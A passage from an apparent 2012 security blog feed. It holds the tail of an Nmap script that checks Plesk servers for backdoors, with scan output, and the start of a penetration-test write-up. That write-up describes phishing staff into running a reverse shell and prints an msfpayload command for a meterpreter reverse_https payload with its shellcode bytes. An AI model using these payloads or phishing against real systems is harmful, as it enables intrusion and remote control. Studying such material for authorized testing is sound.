&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum49&quot; style=&quot;color: #606060;&quot;&gt;  49:&lt;/span&gt;                 string = (&quot;PLESK infected v2, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&quot;);&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum50&quot; style=&quot;color: #606060;&quot;&gt;  50:&lt;/span&gt;                 return string&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum51&quot; style=&quot;color: #606060;&quot;&gt;  51:&lt;/span&gt;         end&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum52&quot; style=&quot;color: #606060;&quot;&gt;  52:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum53&quot; style=&quot;color: #606060;&quot;&gt;  53:&lt;/span&gt;         -- Perform a GET request for v1 backdoor&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum54&quot; style=&quot;color: #606060;&quot;&gt;  54:&lt;/span&gt;         result = http.get_url(&quot;https://&quot; .. host.ip .. &quot;:&quot; .. port.number .. &quot;/enterprise/control/ctrl.php3&quot;)&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum55&quot; style=&quot;color: #606060;&quot;&gt;  55:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum56&quot; style=&quot;color: #606060;&quot;&gt;  56:&lt;/span&gt;         if(not(result)) then&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum57&quot; style=&quot;color: #606060;&quot;&gt;  57:&lt;/span&gt;                 return stdnse.format_output(false, &quot;Couldn&#39;t perform GET request&quot;)&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum58&quot; style=&quot;color: #606060;&quot;&gt;  58:&lt;/span&gt;         end&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum59&quot; style=&quot;color: #606060;&quot;&gt;  59:&lt;/span&gt;&amp;nbsp; &lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum60&quot; style=&quot;color: #606060;&quot;&gt;  60:&lt;/span&gt;         if(result.status == 200) then&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum61&quot; style=&quot;color: #606060;&quot;&gt;  61:&lt;/span&gt;                 string = (&quot;PLESK infected v1, please check: http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&quot;);&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum62&quot; style=&quot;color: #606060;&quot;&gt;  62:&lt;/span&gt;                 return string&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum63&quot; style=&quot;color: #606060;&quot;&gt;  63:&lt;/span&gt;         end&lt;/pre&gt;
&lt;pre style=&quot;background-color: #f4f4f4; border-bottom-style: none; border-left-style: none; border-right-style: none; border-top-style: none; color: black; direction: ltr; font-family: &#39;Courier New&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 0em; overflow: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 100%;&quot;&gt;&lt;span id=&quot;lnum64&quot; style=&quot;color: #606060;&quot;&gt;  64:&lt;/span&gt; end&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
a sample output from the script, &lt;br /&gt;
&lt;br /&gt;
root@host:~# nmap&amp;nbsp; --script http-plesk-backdoor xxx.xxx.xxx.xxx &lt;br /&gt;
&lt;br /&gt;
Starting Nmap 5.00 ( &lt;a href=&quot;http://nmap.org/&quot;&gt;http://nmap.org&lt;/a&gt; ) at 2012-05-09 14:20 EEST&lt;br /&gt;Interesting ports on someserver.com (xxx.xxx.xxx.xxx):&lt;br /&gt;Not shown: 979 closed ports&lt;br /&gt;PORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; STATE&amp;nbsp;&amp;nbsp;&amp;nbsp; SERVICE&lt;br /&gt;21/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ftp&lt;br /&gt;22/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ssh&lt;br /&gt;25/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; smtp&lt;br /&gt;53/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; domain&lt;br /&gt;80/tcp&amp;nbsp;&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; http&lt;br /&gt;106/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop3pw&lt;br /&gt;110/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop3&lt;br /&gt;135/tcp&amp;nbsp; filtered msrpc&lt;br /&gt;139/tcp&amp;nbsp; filtered netbios-ssn&lt;br /&gt;143/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; imap&lt;br /&gt;443/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; https&lt;br /&gt;445/tcp&amp;nbsp; filtered microsoft-ds&lt;br /&gt;465/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; smtps&lt;br /&gt;587/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; submission&lt;br /&gt;646/tcp&amp;nbsp; filtered ldp&lt;br /&gt;993/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; imaps&lt;br /&gt;995/tcp&amp;nbsp; open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop3s&lt;br /&gt;1025/tcp filtered NFS-or-IIS&lt;br /&gt;2000/tcp filtered callbook&lt;br /&gt;3306/tcp open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mysql&lt;br /&gt;8443/tcp open&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; https-alt&lt;br /&gt;|_ http-plesk-backdoor: PLESK infected v1, please check: &lt;a href=&quot;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&quot;&gt;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 2.98 seconds&lt;br /&gt;
&lt;br /&gt;
and scanning a larger range, &lt;br /&gt;
&lt;br /&gt;
root@host:~# nmap&amp;nbsp; --script http-plesk-backdoor xxx.xxx.193.0/24 -p 8443&lt;br /&gt;--snip--&lt;br /&gt;Interesting ports on srv1.someserver.com (xxx.xxx.193.61):&lt;br /&gt;PORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; STATE SERVICE&lt;br /&gt;8443/tcp open&amp;nbsp; https-alt&lt;br /&gt;
&lt;br /&gt;
Interesting ports on srv2.someserver.com (xxx.xxx.193.62):&lt;br /&gt;PORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; STATE SERVICE&lt;br /&gt;8443/tcp open&amp;nbsp; https-alt&lt;br /&gt;|_ http-plesk-backdoor: PLESK infected v2, please check: &lt;a href=&quot;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&quot;&gt;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Interesting ports on srv3.someserver.com (xxx.xxx.193.63):&lt;br /&gt;PORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; STATE SERVICE&lt;br /&gt;8443/tcp open&amp;nbsp; https-alt&lt;br /&gt;|_ http-plesk-backdoor: PLESK infected v2, please check: &lt;a href=&quot;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&quot;&gt;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Interesting ports on srv4.someserver.com (xxx.xxx.193.64):&lt;br /&gt;PORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; STATE SERVICE&lt;br /&gt;8443/tcp open&amp;nbsp; https-alt&lt;br /&gt;|_ http-plesk-backdoor: PLESK infected v2, please check: &lt;a href=&quot;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&quot;&gt;http://www.my-audit.gr/hacking/plesk-backdoors-a-very-large-number-of-servers-compromised/&lt;/a&gt;&lt;br /&gt;--snip--&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;The script can be found here, &lt;a href=&quot;http://chaos.deventum.com/research/nse/http-plesk-backdoor.nse&quot;&gt;http://chaos.deventum.com/research/nse/http-plesk-backdoor.nse&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/1507372090545178286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2012/05/nmap-script-to-check-plesk-compromised.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/1507372090545178286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/1507372090545178286'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2012/05/nmap-script-to-check-plesk-compromised.html' title='Nmap script to check PLESK compromised servers'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-8721642323815018605</id><published>2012-04-11T13:57:00.001+03:00</published><updated>2012-04-11T13:57:55.886+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="powershell"/><title type='text'>Powershell, metasploit meterpreter and dns.</title><content type='html'>&lt;p&gt;Few months back and whilst in holidays, I got a call from the work that we just took an urgent project with a very short delivery time. The project was a penetration test for a company. All paperwork was done and the client was in a rush to get some results since holiday season was near. &lt;/p&gt; &lt;p&gt;No problem I said but actually there were a few. For starters I was in a different country, nowhere near the penetration lab of the company and my tools. As it’s accustomed also to start with zero knowledge about the clients’ systems, I wasn’t sure about their security, possible IDS systems, antivirus, system patches, firewalls and users’ experience. &lt;/p&gt; &lt;p&gt;There are many possible ideas here and ways to work, I choose to use metasploit and whatever tools look innocent enough not to rise suspicions. The common problem with metasploit is the payload delivery. Meterpreter is great but it’s detected from a very large amount of antiviruses if not properly modified. I used SET&amp;nbsp; (&lt;a title=&quot;http://www.social-engineer.org/&quot; href=&quot;http://www.social-engineer.org/&quot;&gt;http://www.social-engineer.org/&lt;/a&gt;) to deliver a simple payload, actually a very basic connect back shell, the first that I found in codeproject.com (&lt;a href=&quot;http://www.codeproject.com/Articles/20250/Reverse-Connection-Shell&quot;&gt;http://www.codeproject.com/Articles/20250/Reverse-Connection-Shell&lt;/a&gt;). &lt;/p&gt; &lt;p&gt;Couple of hours later and after a few emails were send with ‘important’ information to the users of the company, metasploit’s multi handler was greeted with sessions. The sessions were mostly from windows 7 systems and a few old XP. The good news and the bad news, good news were the shells, bad news where … the shells. Used with meterpreter sessions and sessions from commercial tools the basic dos prompt seems poor. Time to upgrade the shell then in a fancy way then. &lt;/p&gt; &lt;p&gt;Powershell to the rescue !&lt;/p&gt; &lt;p&gt;Let’s first generate the meterpreter payload, reverse_https seems great, &lt;/p&gt; &lt;p&gt;&lt;a href=&quot;mailto:root@host:~/trunk&quot;&gt;root@host:~/trunk&lt;/a&gt;# ./msfpayload windows/meterpreter/reverse_https LHOST=178.32.xxx.xxx LPORT=8443 C | more&amp;nbsp;&amp;nbsp; &lt;/p&gt; &lt;div style=&quot;border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px&quot; id=&quot;codeSnippetWrapper&quot;&gt; &lt;div style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot; id=&quot;codeSnippet&quot;&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum1&quot;&gt;   1:&lt;/span&gt; /*&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum2&quot;&gt;   2:&lt;/span&gt;  * windows/meterpreter/reverse_https - 369 bytes (stage 1)&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum3&quot;&gt;   3:&lt;/span&gt;  * http://www.metasploit.com&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum4&quot;&gt;   4:&lt;/span&gt;  * LHOST=178.32.xxx.xxx, AutoRunScript=, EXITFUNC=process, &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum5&quot;&gt;   5:&lt;/span&gt;  * EnableUnicodeEncoding=true, SessionCommunicationTimeout=300, &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum6&quot;&gt;   6:&lt;/span&gt;  * AutoSystemInfo=true, AutoLoadStdapi=true, &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum7&quot;&gt;   7:&lt;/span&gt;  * InitialAutoRunScript=, VERBOSE=false, LPORT=8443, &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum8&quot;&gt;   8:&lt;/span&gt;  * SessionExpirationTimeout=604800&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum9&quot;&gt;   9:&lt;/span&gt;  */&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum10&quot;&gt;  10:&lt;/span&gt; unsigned char buf[] = &lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum11&quot;&gt;  11:&lt;/span&gt; &quot;\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum12&quot;&gt;  12:&lt;/span&gt; &quot;\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum13&quot;&gt;  13:&lt;/span&gt; &quot;\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum14&quot;&gt;  14:&lt;/span&gt; &quot;\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum15&quot;&gt;  15:&lt;/span&gt; &quot;\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum16&quot;&gt;  16:&lt;/span&gt; &quot;\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum17&quot;&gt;  17:&lt;/span&gt; &quot;\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum18&quot;&gt;  18:&lt;/span&gt; &quot;\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; id=&quot;lnum19&quot;&gt;  19:&lt;/span&gt; &quot;\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff&quot;&lt;/pre&gt;&lt;!--CRLF--&gt;&lt;pre style=&quot;border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px&quot;&gt;&lt;span style=&quot;color: #606060&quot; 